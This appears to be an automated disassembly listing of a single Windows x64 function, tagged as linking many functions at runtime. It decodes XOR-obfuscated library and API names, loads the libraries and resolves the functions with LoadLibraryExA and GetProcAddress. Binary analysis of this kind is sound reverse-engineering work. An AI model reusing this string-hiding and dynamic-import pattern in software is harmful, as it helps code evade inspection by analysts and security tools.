Function at 0x14003eaf0
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x1401fd600]
xor rax, rsp
mov qword [rbp], rax
mov r15, rcx
call fcn.14003ddd0
mov rdx, qword [0x1401fe2b0]
test rdx, rdx
je 0x14003ee13
lea r14, [0x1401fe2a0]
mov rax, r14
mov r8, qword [0x1401fe2a0]
mov r10, qword [0x1401fe2b8]
cmp r10, 0x10
cmovae rax, r8
cmp byte [rax], 0
je 0x14003ee13
mov rsi, 0xffffffffffffffff
movabs r12, 0x7fffffffffffffff
cmp byte [0x140202e50], 0
jne 0x14003f3dc
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x6b4
mov eax, dword [rcx + rdi]
mov ebx, 0x688
add rbx, rdi
test al, 1
jne 0x14003ebda
or eax, 1
mov dword [rcx + rdi], eax
mov word [rbx + 9], 0x10f
mov dword [rbx], 0x1c5e61e7
mov dword [rbx + 4], 0xf3f3d5d0
mov byte [rbx + 8], 0xd7
lea rcx, [0x14018e3a0]
call fcn.14015b9c0
nop
mov r10, qword [0x1401fe2b8]
mov rdx, qword [0x1401fe2b0]
mov r8, qword [0x1401fe2a0]
cmp byte [rbx + 0xa], 0
je 0x14003ec0b
xor byte [rbx], 0xbb
xor byte [rbx + 1], 0xf
xor byte [rbx + 2], 0x2d
xor byte [rbx + 3], 0x6f
xor byte [rbx + 4], 0xe3
xor byte [rbx + 5], 0xfb
xor byte [rbx + 6], 0x97
xor byte [rbx + 7], 0x9f
xor byte [rbx + 8], 0xbb
xor byte [rbx + 9], 0xf
mov byte [rbx + 0xa], 0
mov rcx, rsi
nop
inc rcx
cmp byte [rbx + rcx], 0
jne 0x14003ec10
mov rax, r12
sub rax, rdx
cmp rax, rcx
jb 0x14003f50b
mov r9, r14
cmp r10, 0x10
cmovae r9, r8
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rdx
lea rcx, [rbp - 0x50]
call fcn.14002bdf0
nop
mov ecx, 0x57c
mov eax, dword [rcx + rdi]
mov edx, 0x678
test al, 1
jne 0x14003ec94
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov word [rbx + 0xd], 0x1d5
mov dword [rbx], 0x7394c6df
mov dword [rbx + 4], 0x7154ba19
mov dword [rbx + 8], 0x799f9bb0
mov byte [rbx + 0xc], 1
lea rcx, [0x14018e380]
call fcn.14015b9c0
nop
jmp 0x14003ec98
lea rbx, [rdi + rdx]
cmp byte [rbx + 0xe], 0
je 0x14003ecd9
xor byte [rbx], 0x83
xor byte [rbx + 1], 0xb5
xor byte [rbx + 2], 0xfb
xor byte [rbx + 3], 0x15
xor byte [rbx + 4], 0x6d
xor byte [rbx + 5], 0xd5
xor byte [rbx + 6], 0x3f
xor byte [rbx + 7], 0x1f
xor byte [rbx + 8], 0x83
xor byte [rbx + 9], 0xb5
xor byte [rbx + 0xa], 0xfb
xor byte [rbx + 0xb], 0x15
xor byte [rbx + 0xc], 0x6d
xor byte [rbx + 0xd], 0xd5
mov byte [rbx + 0xe], 0
mov rdx, qword [0x1401fe2b0]
mov rcx, rsi
inc rcx
cmp byte [rbx + rcx], 0
jne 0x14003ece3
mov rax, r12
sub rax, rdx
cmp rax, rcx
jb 0x14003f511
cmp qword [0x1401fe2b8], 0x10
cmovae r14, qword [0x1401fe2a0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rdx
mov r9, r14
lea rcx, [rsp + 0x60]
call fcn.14002bdf0
nop
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rcx, qword [rbp - 0x50]
xor edx, edx
lea r8d, [rdx + 8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov r14, rax
mov qword [0x140202e38], rax
test rax, rax
je 0x14003ed88
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rcx, qword [rsp + 0x60]
xor edx, edx
lea r8d, [rdx + 8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov qword [0x140202e68], rax
test rax, rax
jne 0x14003ee3d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14003edc5
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003edc0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003f517
call fcn.14015b55c
movdqa xmm0, xmmword [0x1401dc610]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x14003ee13
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ee0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003f51d
call fcn.14015b55c
xor al, al
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.14015b500
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
mov ecx, 0x6fc
mov eax, dword [rcx + rdi]
mov edx, 0x5f0
test al, 1
jne 0x14003ee7a
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov dword [rbx + 6], 0x1a191f6
mov dword [rbx], 0x141eecef
mov word [rbx + 4], 0x8100
lea rcx, [0x14018e360]
call fcn.14015b9c0
nop
jmp 0x14003ee7e
lea rbx, [rdi + rdx]
cmp byte [rbx + 9], 0
je 0x14003eeab
xor byte [rbx], 0xa1
xor byte [rbx + 1], 0xbf
xor byte [rbx + 2], 0x4d
xor byte [rbx + 3], 0x4b
xor byte [rbx + 4], 0x49
xor byte [rbx + 5], 0xef
xor byte [rbx + 6], 0x9f
xor byte [rbx + 7], 0xe5
xor byte [rbx + 8], 0xa1
mov byte [rbx + 9], 0
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140202e58], rax
mov ecx, 0x5d4
mov eax, dword [rcx + rdi]
mov edx, 0x760
test al, 1
jne 0x14003ef02
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov dword [rbx + 0xa], 0x19fdd30
mov dword [rbx], 0xec147e47
mov dword [rbx + 4], 0x439629cc
mov word [rbx + 8], 0x426d
lea rcx, [0x14018e340]
call fcn.14015b9c0
nop
jmp 0x14003ef06
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xd], 0
je 0x14003ef43
xor byte [rbx], 9
xor byte [rbx + 1], 0x2d
xor byte [rbx + 2], 0x47
xor byte [rbx + 3], 0xb3
xor byte [rbx + 4], 0x9f
xor byte [rbx + 5], 0x41
xor byte [rbx + 6], 0xe3
xor byte [rbx + 7], 0x37
xor byte [rbx + 8], 9
xor byte [rbx + 9], 0x2d
xor byte [rbx + 0xa], 0x47
xor byte [rbx + 0xb], 0xb3
xor byte [rbx + 0xc], 0x9f
mov byte [rbx + 0xd], 0
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140202e40], rax
movdqa xmm0, xmmword [0x1401dc740]
mov dword [rsp + 0x58], 0xc4c6c29a
mov dword [rsp + 0x5c], 0x7d55a429
mov ecx, 0x670
mov eax, dword [rcx + rdi]
mov edx, 0x610
test al, 1
jne 0x14003efd2
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov byte [rbx + 0x18], 1
lea rax, [rbx + 0x17]
lea rcx, [rsp + 0x5f]
cmp rbx, rcx
ja 0x14003efb5
lea rcx, [rsp + 0x48]
cmp rax, rcx
jb 0x14003efb5
movups xmmword [rbx], xmm0
movsd xmm0, qword [rsp + 0x58]
movsd qword [rbx + 0x10], xmm0
jmp 0x14003efc3
movups xmmword [rbx], xmm0
movsd xmm0, qword [rsp + 0x58]
movsd qword [rbx + 0x10], xmm0
lea rcx, [0x14018e320]
call fcn.14015b9c0
nop
jmp 0x14003efd6
lea rbx, [rdx + rdi]
cmp byte [rbx + 0x18], 0
je 0x14003f03f
xor byte [rbx], 0xd1
xor byte [rbx + 1], 0xa7
xor byte [rbx + 2], 0xbf
xor byte [rbx + 3], 0x97
xor byte [rbx + 4], 0x45
xor byte [rbx + 5], 0xcb
xor byte [rbx + 6], 0x21
xor byte [rbx + 7], 0x7d
xor byte [rbx + 8], 0xd1
xor byte [rbx + 9], 0xa7
xor byte [rbx + 0xa], 0xbf
xor byte [rbx + 0xb], 0x97
xor byte [rbx + 0xc], 0x45
xor byte [rbx + 0xd], 0xcb
xor byte [rbx + 0xe], 0x21
xor byte [rbx + 0xf], 0x7d
xor byte [rbx + 0x10], 0xd1
xor byte [rbx + 0x11], 0xa7
xor byte [rbx + 0x12], 0xbf
xor byte [rbx + 0x13], 0x97
xor byte [rbx + 0x14], 0x45
xor byte [rbx + 0x15], 0xcb
xor byte [rbx + 0x16], 0x21
xor byte [rbx + 0x17], 0x7d
mov byte [rbx + 0x18], 0
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140202e28], rax
mov ecx, 0x700
mov eax, dword [rcx + rdi]
mov edx, 0x600
test al, 1
jne 0x14003f09a
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov word [rbx + 0xd], 0x135
mov dword [rbx], 0xdcc28261
mov dword [rbx + 4], 0x32e573f4
mov dword [rbx + 8], 0x829f9a54
mov byte [rbx + 0xc], 0xdf
lea rcx, [0x14018e300]
call fcn.14015b9c0
nop
jmp 0x14003f09e
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xe], 0
je 0x14003f0df
xor byte [rbx], 0x31
xor byte [rbx + 1], 0xc9
xor byte [rbx + 2], 0xf3
xor byte [rbx + 3], 0xed
xor byte [rbx + 4], 0xab
xor byte [rbx + 5], 0x35
xor byte [rbx + 6], 0x97
xor byte [rbx + 7], 0x57
xor byte [rbx + 8], 0x31
xor byte [rbx + 9], 0xc9
xor byte [rbx + 0xa], 0xf3
xor byte [rbx + 0xb], 0xed
xor byte [rbx + 0xc], 0xab
xor byte [rbx + 0xd], 0x35
mov byte [rbx + 0xe], 0
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140202e48], rax
movdqa xmm0, xmmword [0x1401dc880]
mov word [rbp - 0x70], 0x113e
mov ecx, 0x5d8
mov eax, dword [rcx + rdi]
mov edx, 0x698
test al, 1
jne 0x14003f15c
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x12], 1
lea rax, [rbx + 0x11]
lea rcx, [rbp - 0x6f]
cmp rbx, rcx
ja 0x14003f142
lea rcx, [rbp - 0x80]
cmp rax, rcx
jb 0x14003f142
movups xmmword [rbx], xmm0
movzx eax, word [rbp - 0x70]
mov word [rbx + 0x10], ax
jmp 0x14003f14d
movups xmmword [rbx], xmm0
movzx eax, word [rbp - 0x70]
mov word [rbx + 0x10], ax
lea rcx, [0x14018e2e0]
call fcn.14015b9c0
nop
jmp 0x14003f160
lea rbx, [rdx + rdi]
cmp byte [rbx + 0x12], 0
je 0x14003f1b1
xor byte [rbx], 0x5b
xor byte [rbx + 1], 0x11
xor byte [rbx + 2], 0xf
xor byte [rbx + 3], 0x5f
xor byte [rbx + 4], 0x4b
xor byte [rbx + 5], 0xd3
xor byte [rbx + 6], 9
xor byte [rbx + 7], 0x45
xor byte [rbx + 8], 0x5b
xor byte [rbx + 9], 0x11
xor byte [rbx + 0xa], 0xf
xor byte [rbx + 0xb], 0x5f
xor byte [rbx + 0xc], 0x4b
xor byte [rbx + 0xd], 0xd3
xor byte [rbx + 0xe], 9
xor byte [rbx + 0xf], 0x45
xor byte [rbx + 0x10], 0x5b
xor byte [rbx + 0x11], 0x11
mov byte [rbx + 0x12], 0
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140202e20], rax
movdqa xmm0, xmmword [0x1401dc7c0]
mov ecx, 0x66c
mov eax, dword [rcx + rdi]
mov edx, 0x638
test al, 1
jne 0x14003f218
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x10], 1
lea rax, [rbx + 0xf]
lea rcx, [rbp - 1]
cmp rbx, rcx
ja 0x14003f206
lea rcx, [rbp - 0x10]
cmp rax, rcx
jb 0x14003f206
movups xmmword [rbx], xmm0
jmp 0x14003f209
movups xmmword [rbx], xmm0
lea rcx, [0x14018e2b0]
call fcn.14015b9c0
nop
jmp 0x14003f21c
lea rbx, [rdx + rdi]
cmp byte [rbx + 0x10], 0
je 0x14003f265
xor byte [rbx], 0x7b
xor byte [rbx + 1], 0xc3
xor byte [rbx + 2], 0x3d
xor byte [rbx + 3], 0x3d
xor byte [rbx + 4], 0x17
xor byte [rbx + 5], 5
xor byte [rbx + 6], 0x33
xor byte [rbx + 7], 0x19
xor byte [rbx + 8], 0x7b
xor byte [rbx + 9], 0xc3
xor byte [rbx + 0xa], 0x3d
xor byte [rbx + 0xb], 0x3d
xor byte [rbx + 0xc], 0x17
xor byte [rbx + 0xd], 5
xor byte [rbx + 0xe], 0x33
xor byte [rbx + 0xf], 0x19
mov byte [rbx + 0x10], 0
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140202e60], rax
movdqa xmm0, xmmword [0x1401dcb00]
mov word [rbp - 0x58], 0x8b44
mov ecx, 0x584
mov eax, dword [rcx + rdi]
mov edx, 0x550
test al, 1
jne 0x14003f2e2
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x12], 1
lea rax, [rbx + 0x11]
lea rcx, [rbp - 0x57]
cmp rbx, rcx
ja 0x14003f2c8
lea rcx, [rbp - 0x68]
cmp rax, rcx
jb 0x14003f2c8
movups xmmword [rbx], xmm0
movzx eax, word [rbp - 0x58]
mov word [rbx + 0x10], ax
jmp 0x14003f2d3
movups xmmword [rbx], xmm0
movzx eax, word [rbp - 0x58]
mov word [rbx + 0x10], ax
lea rcx, [0x14018e290]
call fcn.14015b9c0
nop
jmp 0x14003f2e6
lea rbx, [rdx + rdi]
cmp byte [rbx + 0x12], 0
je 0x14003f337
xor byte [rbx], 0x29
xor byte [rbx + 1], 0x8b
xor byte [rbx + 2], 0x25
xor byte [rbx + 3], 0x1d
xor byte [rbx + 4], 0xa7
xor byte [rbx + 5], 0xa3
xor byte [rbx + 6], 1
xor byte [rbx + 7], 0x13
xor byte [rbx + 8], 0x29
xor byte [rbx + 9], 0x8b
xor byte [rbx + 0xa], 0x25
xor byte [rbx + 0xb], 0x1d
xor byte [rbx + 0xc], 0xa7
xor byte [rbx + 0xd], 0xa3
xor byte [rbx + 0xe], 1
xor byte [rbx + 0xf], 0x13
xor byte [rbx + 0x10], 0x29
xor byte [rbx + 0x11], 0x8b
mov byte [rbx + 0x12], 0
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140202e30], rax
mov byte [0x140202e50], 1
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14003f38e
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f389
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003f517
call fcn.14015b55c
movdqa xmm0, xmmword [0x1401dc610]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x14003f3dc
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f3d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003f51d
call fcn.14015b55c
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x58c
mov eax, dword [rdx + rcx]
mov ebx, 0x6f4
add rbx, rcx
test al, 1
jne 0x14003f41b
or eax, 1
mov dword [rdx + rcx], eax
mov dword [rbx + 2], 0x18967b5
mov word [rbx], 0x2090
lea rcx, [0x14018e270]
call fcn.14015b9c0
nop
cmp byte [rbx + 5], 0
je 0x14003f440
xor byte [rbx], 0xe3
xor byte [rbx + 1], 0x51
xor byte [rbx + 2], 0xd9
xor byte [rbx + 3], 0x5d
xor byte [rbx + 4], 0x89
mov byte [rbx + 5], 0
nop dword [rax + rax]
inc rsi
cmp byte [rbx + rsi], 0
jne 0x14003f440
mov rax, qword [r15 + 0x10]
sub r12, rax
cmp r12, rsi
jb 0x14003f505
cmp qword [r15 + 0x18], 0x10
jb 0x14003f463
mov r15, qword [r15]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rsi
mov r9, rbx
lea rcx, [rbp - 0x30]
call fcn.14002bdf0
nop
lea rcx, [0x140203040]
call fcn.14015ac28
test eax, eax
jne 0x14003f523
cmp dword [0x14020308c], 0x7fffffff
je 0x14003f52e
mov rax, qword [0x140202e58]
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rcx, qword [rbp - 0x30]
call rax
mov byte [0x140202e51], 1
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x14003f4f8
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f4f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003f4ff
call fcn.14015b55c
mov al, 1
jmp 0x14003ee15
call fcn.140162118
int3
call fcn.14001fe10
int3
call fcn.14001fe10
nop
call fcn.14001fe10
int3
call fcn.140162118
nop
call fcn.140162118
nop
mov ecx, 5
call fcn.14015a9b8
int3
mov dword [0x14020308c], 0x7ffffffe
mov ecx, 6
call fcn.14015a9b8
int3